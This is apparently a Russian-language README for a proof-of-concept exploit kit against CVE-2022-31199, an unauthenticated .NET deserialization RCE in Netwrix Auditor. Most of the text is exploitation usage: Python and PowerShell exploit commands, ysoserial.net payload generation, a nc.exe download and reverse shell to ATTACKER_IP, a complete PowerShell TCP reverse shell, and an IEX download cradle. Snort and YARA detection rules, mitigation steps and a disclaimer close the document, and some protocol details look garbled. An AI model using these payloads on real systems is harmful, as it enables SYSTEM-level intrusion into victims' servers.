Концептуальные эксплойты для CVE-2022-31199, критической уязвимости .NET десериализации RCE в Netwrix Auditor. Включает скрипты на Python и PowerShell, генерацию полезной нагрузки с помощью ysoserial.net и сигнатуры обнаружения для авторизованного тестирования безопасности.
CVE-2022-31199 — это критическая уязвимость небезопасной десериализации объектов в Netwrix Auditor версиях до 10.5. Уязвимость существует в незащищённом сервисе .NET Remoting, прослушивающем TCP-порт 9004, что позволяет удалённым неаутентифицированным злоумышленникам выполнить произвольный код с привилегиями NT AUTHORITY\SYSTEM.
Эта уязвимость активно эксплуатируется в дикой природе следующими:
Успешная эксплуатация обычно приводит к:
Этот репозиторий содержит полные эксплойты Proof of Concept (POC) для CVE-2022-31199:
exploit.py — Фреймворк эксплуатации на Pythonexploit.ps1 — Сценарий эксплуатации на PowerShellREADME.md — Данная документацияmanual-exploitation.md — Пошаговое руководство по ручной эксплуатацииysoserial.net — Генератор полезной нагрузки для десериализации .NET
ExploitRemotingService — Инструмент эксплуатации .NET Remoting
python3 exploit.py --target 192.168.1.100 --check
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Используя ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
exploit.py)python3 exploit.py --target 10.10.10.100 --check
# Шаг 1: Сгенерировать нагрузку
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"
# Шаг 2: Выполнить эксплойт
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]
# Пользовательский порт
python3 exploit.py --target 10.10.10.100 --port 9004 --check
# Пользовательская конечная точка
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check
--target : IP-адрес или имя хоста цели (обязательно)
--port : Целевой порт (по умолчанию: 9004)
--endpoint : Имя конечной точки .NET Remoting (по умолчанию: UAVRServer)
--check : Только проверить уязвимость, не эксплуатировать
--payload : Полезная нагрузка в кодировке Base64 из ysoserial.net
exploit.ps1).\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Простое выполнение команды
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
# Запись вывода в файл
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"
# Пользовательский порт
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"
-Target : IP-адрес или имя хоста цели (обязательно)
-Port : Целевой порт (по умолчанию: 9004)
-Command : Команда для выполнения на цели (по умолчанию: "whoami")
-CheckOnly : Только проверить уязвимость, не эксплуатировать
# Проверка информации о системе
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"
nc -lvnp 4444
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
python3 -m http.server 8000
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"
# Проверка подключения
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver
# Выполнение в режиме аренды (обходит некоторые защиты)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\
# Выполнение с использованием объектной ссылки
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"
Уязвимость возникает из-за:
1. Злоумышленник подключается к TCP-порту 9004
2. Идентифицирует сервис .NET Remoting (конечная точка UAVRServer)
3. Генерирует вредоносную сериализованную нагрузку с помощью ysoserial.net
4. Отправляет нагрузку через протокол .NET Remoting
5. Цель десериализует объект с помощью BinaryFormatter
6. Цепочка гаджетов выполняет произвольный код
7. Код выполняется с привилегиями NT AUTHORITY\SYSTEM
Следующие гаджеты ysoserial.net работают с данной уязвимостью:
Структура протокола .NET Remoting:
┌─────────────────────────────────────┐
│ Преамбула (8 байт) │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ Заголовки │
├─────────────────────────────────────┤
│ URI (UAVRServer) │
├─────────────────────────────────────┤
│ Сериализованный объект (BinaryFormatter) │
└─────────────────────────────────────┘
alert tcp any any -> any 9004 (
msg:"CVE-2022-31199 Netwrix .NET Remoting Exploit Attempt";
content:"|00 01 00 00 01 00 00 00|";
depth:8;
content:"System.Runtime.Remoting";
distance:0;
sid:1000001;
rev:1;
)
# Проверка, слушается ли порт 9004
netstat -ano | findstr :9004
# Идентификация процесса
tasklist /FI "PID eq [PID]"
rule CVE_2022_31199_Netwrix_Exploit {
meta:
description = "Detects CVE-2022-31199 exploitation attempt"
author = "Security Researcher"
date = "2024-11-17"
severity = "critical"
strings:
$header = { 00 01 00 00 01 00 00 00 }
$remoting1 = "System.Runtime.Remoting" ascii
$remoting2 = "UAVRServer" ascii
$remoting3 = "Netwrix" ascii
$serialize = "BinaryFormatter" ascii
$gadget1 = "TypeConfuseDelegate" ascii
$gadget2 = "ObjectDataProvider" ascii
condition:
$header at 0 and
($remoting1 or $remoting2 or $remoting3) and
$serialize and
any of ($gadget*)
}
Обновление до Netwrix Auditor 10.5 или более поздней версии
Сегментация сети
Мониторинг
# Проверка версии Netwrix Auditor
Get-ItemProperty "HKLM:\Software\Netwrix\Auditor" | Select Version
# Проверка, открыт ли порт
Test-NetConnection -ComputerName localhost -Port 9004
# Проверка правил брандмауэра
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*Netwrix*"}
ВАЖНО: Данные эксплойты Proof of Concept (POC) предоставлены для:
- Образовательных целей
- Авторизованного тестирования безопасности
- Исследования уязвимостей
- Защитных операций безопасности
НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К КОМПЬЮТЕРНЫМ СИСТЕМАМ НЕЗАКОНЕН.
Используя эти инструменты, вы соглашаетесь:
1. Тестировать только те системы, которые вам принадлежат или на которые у вас есть явное письменное разрешение
2. Соблюдать все применимые местные, государственные и федеральные законы
3. Использовать инструменты ответственно и этично
4. Не использовать в злонамеренных целях
Автор(ы) не несут ответственности за неправомерное использование этих инструментов.
Используйте на свой страх и риск.
Нашли проблему или улучшение? Не стесняйтесь:
Версия: 1.0
Последнее обновление: 17 ноября 2024 г.
Поддерживается: Сообществом исследователей безопасности
По вопросам и проблемам обращайтесь к официальным уведомлениям и документации.